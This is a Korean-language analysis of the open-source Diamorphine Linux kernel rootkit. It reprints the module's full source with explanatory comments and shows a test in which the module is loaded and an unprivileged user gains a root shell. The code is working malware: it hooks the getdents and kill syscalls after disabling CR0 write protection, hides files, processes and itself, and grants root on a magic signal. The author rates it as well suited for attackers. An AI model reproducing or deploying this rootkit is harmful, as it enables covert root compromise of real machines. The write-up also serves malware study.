
Diamorphine LKM 커널 모듈 분석

x90c

Elite Hacker.

greetings hawul, rebel...

[목 차]

[커널 루트킷 주소]

- GITHUB 주소: https://github.com/m0nad/Diamorphine

1. 코드 분석 (Kernel Rootkit Analysis)

---- diamorphine.h ----

```
struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
```

```
        unsigned short  d_reclen; // linux_dirent 구조체 엔트리 크기를 담는 멤버 변수.
        char            d_name[1];
};

#define MAGIC_PREFIX "diamorphine_secret" // 파일, 디렉토리 숨김 프리픽스.

#define PF_INVISIBLE 0x10000000    // 태스크 숨김 플래그.

#define MODULE_NAME "diamorphine"

enum {
        SIGINVIS = 31,          // 태스크 숨김 시그날.
        SIGSUPER = 64,          // 루트쉘 획득 시그날.
        SIGMODINVIS = 63, // 모듈 숨김 시그날.
};
----

---- Makefile ----
obj-m := diamorphine.o
CC = gcc -Wall
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        $(MAKE) -C $(KDIR) M=$(PWD) clean
----



---- diamorphine.c ----
/* 헤더 선언 */
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
```

```
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
        #include <asm/uaccess.h>
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
        #include <linux/proc_ns.h>
#else
        #include <linux/proc_fs.h>
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
        #include <linux/file.h>
#else
        #include <linux/fdtable.h>
#endif

#include "diamorphine.h"

unsigned long cr0;
static unsigned long *__sys_call_table; // __sys_call_table 정적 변수 선언.
typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,  // orig_getdents_t
        unsigned int);
typedef asmlinkage int (*orig_getdents64_t)(unsigned int,       // orig_getdents64_t
        struct linux_dirent64 *, unsigned int);
typedef asmlinkage int (*orig_kill_t)(pid_t, int);              // orig_kill_t

// 후킹을 위해 저장할 함수 포인터 변수들 선언.
orig_getdents_t orig_getdents;
orig_getdents64_t orig_getdents64;
orig_kill_t orig_kill;

unsigned long *
get_syscall_table_bf(void)        // get_syscall_table_bf():: 시스템 콜 테이블 주소를 얻는 함수.
{
        unsigned long *syscall_table;
        unsigned long int i;

        /*
                sys_close 시스템 콜 핸들러 함수 주소로 syscall_table 주소를 찾고
```

```
                syscall_table[__NR_close]가 sys_close 주소가 맞을 때 syscall_table 함수 주소를
리턴하는 기능임.
        */
        for (i = (unsigned long int)sys_close; i < ULONG_MAX;
                        i += sizeof(void *)) {
                syscall_table = (unsigned long *)i;

                if (syscall_table[__NR_close] == (unsigned long)sys_close)
                        return syscall_table;
        }
        return NULL;
}

struct task_struct *
find_task(pid_t pid)      // find_task():: pid 로 task 를 구하는 함수.
{
        struct task_struct *p = current;
        for_each_process(p) { // for_each_process() 로 프로세스를 찾음.
                if (p->pid == pid)
                        return p;
        }
        return NULL;
}

int
is_invisible(pid_t pid)   // is_invisible():: PF_INVISIBLE 플래그가 task->flags 변수에 붙어 있는지
숨겨진 태스크인지 검사하는 함수.
{
        struct task_struct *task;
        if (!pid)
                return 0;
        task = find_task(pid); // find_task() 함수로 pid(프로세스 아이디)를 전달해서 태스크를 구해서
숨겨진 태스크인지 확인해 줌.
        if (!task)
                return 0;
        if (task->flags & PF_INVISIBLE)
                return 1;
        return 0;
}
```

```
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,        //
hacked_getdents64():: getdents64 시스템콜 후킹 함수.
        unsigned int count)
{
        int ret = orig_getdents64(fd, dirent, count), err;
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent64 *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL); // orig_getdents64() 호출 리턴 값만큼 메모리 kdirent
엔트리 구조체 할당.
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret); // 두 번째 인자 dirent 를 kdirent 로 복사함.
(유저랜드 -> 커널랜드 메모리 복사)
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; // d_inode.
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) // proc = PROC
inode 인지 체크.
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {          // 오프셋으로 ret 만큼의 엔트리를 더해서 반복하는 루프문.
                dir = (void *)kdirent + off;

                // proc 가 아닌 디렉토리/파일 일 때 MAGIC_PREFIX 가 붙거나,
```

```
		// proc 인 경우 숨겨진 프로세스인 경우... 진입.
		if ((!proc &&
		(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
		|| (proc &&
		is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {

			// dir == kdirent (해커가 찾는 엔트리)를 찾았으면?
			if (dir == kdirent) {
				ret -= dir->d_reclen; // 이전 dir 엔트리로 이동.
				memmove(dir, (void *)dir + dir->d_reclen, ret); // dir <- 메모리 복사.
				continue; // 다음 엔트리로.
			}
			prev->d_reclen += dir->d_reclen;
		} else	// 숨겨진 디렉토리가 아닌 경우 prev = dir.
			prev = dir;

		off += dir->d_reclen;	// off (오프셋)을 dir->d_reclen 만큼 더해서 다음 엔트리로
넘어감.
	}

	// 핸들링된 kdirent 를 dirent 로 복사함. (커널랜드 -> 유저랜드 메모리 복사)
	err = copy_to_user(dirent, kdirent, ret);

	if (err)
		goto out;
out:
	kfree(kdirent);
	return ret;
}

asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,	// hacked_getdents()::
getdents 시스템 콜 후킹 함수.
	unsigned int count)
{
	int ret = orig_getdents(fd, dirent, count), err;
	unsigned short proc = 0;
	unsigned long off = 0;
	struct linux_dirent *dir, *kdirent, *prev = NULL;
```

```
	struct inode *d_inode;

	if (ret <= 0)
		return ret;

	kdirent = kzalloc(ret, GFP_KERNEL);
	if (kdirent == NULL)
		return ret;

	err = copy_from_user(kdirent, dirent, ret);
	if (err)
		goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
	d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
	d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

	if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
		/*&& MINOR(d_inode->i_rdev) == 1*/)
		proc = 1;

	while (off < ret) {
		dir = (void *)kdirent + off;
		if ((!proc &&
		(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
		|| (proc &&
		is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
			if (dir == kdirent) {
				ret -= dir->d_reclen;
				memmove(dir, (void *)dir + dir->d_reclen, ret);
				continue;
			}
			prev->d_reclen += dir->d_reclen;
		} else
			prev = dir;
		off += dir->d_reclen;
	}
```

```
	err = copy_to_user(dirent, kdirent, ret);
	if (err)
		goto out;
out:
	kfree(kdirent);
	return ret;
}

void
give_root(void) // 현재 태스크에 uid, gid, euid, egid, suid, sgid, fsuid, fsgid 를 0 으로 설정해 루트 권한을 주는 함수.
{
	/*
	  [버전별 태스크 루트 쉘 획득 방법]:
	  리눅스 커널 버전 2.6.29 이하에서는 current 태스크 구조체에 바로 멤버 변수에 0 을 설정함으로써
	  권한 상승이 되고, 그 보다 높은 버전 대인 경우는 prepred_creds() 함수로 newcreds 를 할당한 다음
	  0 을 멤버 변수들 값으로 할당하고 commit_creds(newcreds)를 호출함으로써 권한 상승이 되도록 할 수 있다.
	*/
	#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
		current->uid = current->gid = 0;
		current->euid = current->egid = 0;
		current->suid = current->sgid = 0;
		current->fsuid = current->fsgid = 0;
	#else
		struct cred *newcreds;
		newcreds = prepare_creds();
		if (newcreds == NULL)
			return;
		#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
			&& defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
			|| LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
			newcreds->uid.val = newcreds->gid.val = 0;
			newcreds->euid.val = newcreds->egid.val = 0;
			newcreds->suid.val = newcreds->sgid.val = 0;
			newcreds->fsuid.val = newcreds->fsgid.val = 0;
		#else
```

```
                        newcreds->uid = newcreds->gid = 0;
                        newcreds->euid = newcreds->egid = 0;
                        newcreds->suid = newcreds->sgid = 0;
                        newcreds->fsuid = newcreds->fsgid = 0;
                #endif
                commit_creds(newcreds);
        #endif
}

static inline void
tidy(void)        //  tidy():: THISMODULE->sect_attrs 메모리 해제 함수.
{
//        kfree(THIS_MODULE->notes_attrs);
//        THIS_MODULE->notes_attrs = NULL;
        kfree(THIS_MODULE->sect_attrs);
        THIS_MODULE->sect_attrs = NULL;
//        kfree(THIS_MODULE->mkobj.mp);
//        THIS_MODULE->mkobj.mp = NULL;
//        THIS_MODULE->modinfo_attrs->attr.name = NULL;
//        kfree(THIS_MODULE->mkobj.drivers_dir);
//        THIS_MODULE->mkobj.drivers_dir = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0; // 모듈 숨겨짐 상태 값을 갖고 있는 module_hidden 정적 변수.

void
module_show(void)     // module_show():: 모듈이 보여지도록 THIS_MODULE->list 에 등록하는
함수.
{
        list_add(&THIS_MODULE->list, module_previous);
        //kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent,
        //                        MODULE_NAME);
        module_hidden = 0;     // module_hidden = 숨겨지지 않음.
}

void
module_hide(void) // module_hide():: 모듈이 리스트에서 지워져서 모듈을 지우는 함수.
{
```

```
        module_previous = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
        //kobject_del(&THIS_MODULE->mkobj.kobj);
        //list_del(&THIS_MODULE->mkobj.kobj.entry);
        module_hidden = 1; // module_hidden = 모듈이 숨겨짐.
}

asmlinkage int
hacked_kill(pid_t pid, int sig)    // hacked_kill():: kill 시스템 콜을 후킹해 시그날을 핸들링하는 함수.
{
        struct task_struct *task;

        switch (sig) {
                case SIGINVIS:          // SIGINVIS:: 태스크를 숨기거나 나타나게하는 시그날.
                        if ((task = find_task(pid)) == NULL)
                                return -ESRCH;
                        task->flags ^= PF_INVISIBLE;
                        break;
                case SIGSUPER:        // SIGUPER:: 루트 권한을 주는 시그날.
                        give_root();
                        break;
                case SIGMODINVIS: // SIGMODINVIS:: 모듈을 보이거나 숨기는 시그날.
                        if (module_hidden) module_show();
                        else module_hide();
                        break;
                default: // 그 밖에는 기본 시그날 처리.
                        return orig_kill(pid, sig);
        }
        return 0;
}

static inline void
protect_memory(void)
{
        write_cr0(cr0);
}

static inline void
unprotect_memory(void)
```

```
{
        write_cr0(cr0 & ~0x00010000); // cr0 레지스터에 0x0010000 플래그를 토글해서 빼면
메모리 보호가 해제 됨.
}

static int __init
diamorphine_init(void)
{
        __sys_call_table = get_syscall_table_bf();      // __sys_call_table = 시스템 콜 주소 얻음.
        if (!__sys_call_table)
                return -1;

        cr0 = read_cr0();       // cr0 = cr0 값 구함.

        module_hide();// 모듈 숨김.
        tidy();

        // orig_* 후킹 하기 전에 시스템 콜 핸들러 함수 주소들 백업.
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];

        // 메모리 보호 해제.
        unprotect_memory();
        // 시스템 콜 함수 핸들러를 hacked_*로 후킹함.
        __sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long)hacked_kill;

        // 메모리 보호 가동.
        protect_memory();

        return 0;
}

static void __exit
diamorphine_cleanup(void)
{
        // 메모리 보호 해제.
```

```
        unprotect_memory();
        // 원본 시스템 콜 핸들러 함수 주소로 시스템 콜 테이블 복원.
        __sys_call_table[__NR_getdents] = (unsigned long)orig_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long)orig_kill;

        메모리 보호 가동.
        protect_memory();
}

module_init(diamorphine_init);
module_exit(diamorphine_cleanup);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");
----
```

2. 파일 구성과 함수 목록

[파일 구성]

diamorphine.c: 메인 모듈
diamorphine.h: 헤더 파일
Makefile: 메이크 파일.

[diamorphine.c 내 함수]

protect_memory(): cr0 레지스터로 메모리 보호 켜는 함수.
unprotect_memory(): cr0 레지스터로 메모리 보호 끄는 함수.

hacked_kill(): kill 시그날링 시스템 콜 핸들러 후킹 함수.

module_show(): 자체 모듈 보이게 하는 함수.
module_hide(): 자체 모듈 숨기는 함수.

tidy(): 메모리 해제 함수. (용도 모름).
give_root(): 시그날을 보내면 현재 태스크를 루트 쉘로 만드는 함수.

hacked_getdents(): getdents() 시스템 콜 핸들러 후킹 함수.
hacked_getdents64(): getdents64 시스템 콜 핸들러 후킹 함수.

is_invisible(): 태스크 숨김 여부 확인 함수.
find_task(): 태스크 찾는 함수.
get_syscall_table_bf(): 시스템 콜 주소 얻는 함수.
diamorphine_init(): 엔트리 포인트.
diamorphone_cleanup(): 클린업 종료 함수.

3. LKM 테스트

우선 테스트를 위해서는 레퍼런스 [2]에서 나와 있는 것처럼 LKM 을 추가해 주어야 한다.

```
# apt-get remove linux-headers-3.16.0-4-686-pae
# apt-get install linux-headers-3.16.0-4-686-pae
...
root@debian8:~/lkm/Diamorphine# ls /lib/modules/3.16.0-4-686-pae/build
Makefile  Module.symvers  arch  include  scripts // LKM 설치 되었음.
root@debian8:~/lkm/Diamorphine# make // make 로 커널 루트킷 빌드 함.
make -C /lib/modules/3.16.0-4-686-pae/build M=/root/lkm/Diamorphine modules
make[1]: Entering directory '/usr/src/linux-headers-3.16.0-4-686-pae'
make[1]: Entering directory `/usr/src/linux-headers-3.16.0-4-686-pae'
  CC [M]  /root/lkm/Diamorphine/diamorphine.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkm/Diamorphine/diamorphine.mod.o
  LD [M]  /root/lkm/Diamorphine/diamorphine.ko
make[1]: Leaving directory '/usr/src/linux-headers-3.16.0-4-686-pae'
root@debian8:~/lkm/Diamorphine#
root@debian8:~/lkm/Diamorphine# ls diamorphine.ko
diamorphine.ko
root@debian8:~/lkm/Diamorphine# insmod diamorphine.ko // 모듈 로드.
root@debian8:~/lkm/Diamorphine# kill -n 63 $$ // 기능:: 모듈 보이게 하기.
root@debian8:~/lkm/Diamorphine# lsmod | grep diamorphine.
diamorphine            12740  0
root@debian8:~/lkm/Diamorphine# su - x90c // x90c 로 계정 전환. (일반 사용자)
x90c@debian8:~$ whoami
x90c
```

x90c@debian8:~$ kill -n 64 $$ // 기능:: 루트 쉘 지정.
x90c@debian8:~$ id
uid=0(root) gid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth),1000(x90c)
x90c@debian8:~$ whoami
root // 루트쉘 획득 됨.
x90c@debian8:~$

모듈을 보이게 하고 숨기는 것과 루트 쉘을 일반 사용자가 획득 할 수 있는 것을 테스트 하였다.

4. 결론 (Conclusion)

연구 시간:
소스 코드 분석에는 1 시간 가량이 걸렸다.
연구 시간은 이틀 걸렸습니다.

부가적 기능 설명:
매뉴얼에도 나와 있듯이 파일명에 MAGIC_PREFIX 가 앞에 붙어 있으면 파일이 숨겨진다.
해당 LKM 은 kill, getdents, getdents64 등 3 개의 시스템 콜만을 후킹한다.
다른 커널 루트킷에 비해 적은 수의 시스템 콜을 후킹하는 것 같다.

루트킷 평가:
소스 코드를 분석한 결과 여러 가지 기능들이 잘 구현되어 있어서 포터블한 커널 루트킷으로
해커들에 의해 이용될만하다는 긍적적인 평가를 내릴 수 있었다.
(미 테스트 사항: 2.6, 3.x, 4.x 에서 동작한다고 함)

연구 회고:
3.16.0 버전 커널을 쓰는 데비안 제시에서 해당 LKM 을 테스트한 결과 오동작 없이 잘 동작 했습니다.
기존에 2.4 버전에서만 주로 LKM 을 사용 했었는데 이번 연구를 계기로 3.x 커널까지
테스트하게되어 기쁘게 생각합니다.

[레퍼런스]

[1] getedents 구조체 관련 참조: http://man7.org/linux/man-pages/man2/getdents.2.html
[2] LKM 동작 하기: http://umbum.tistory.com/513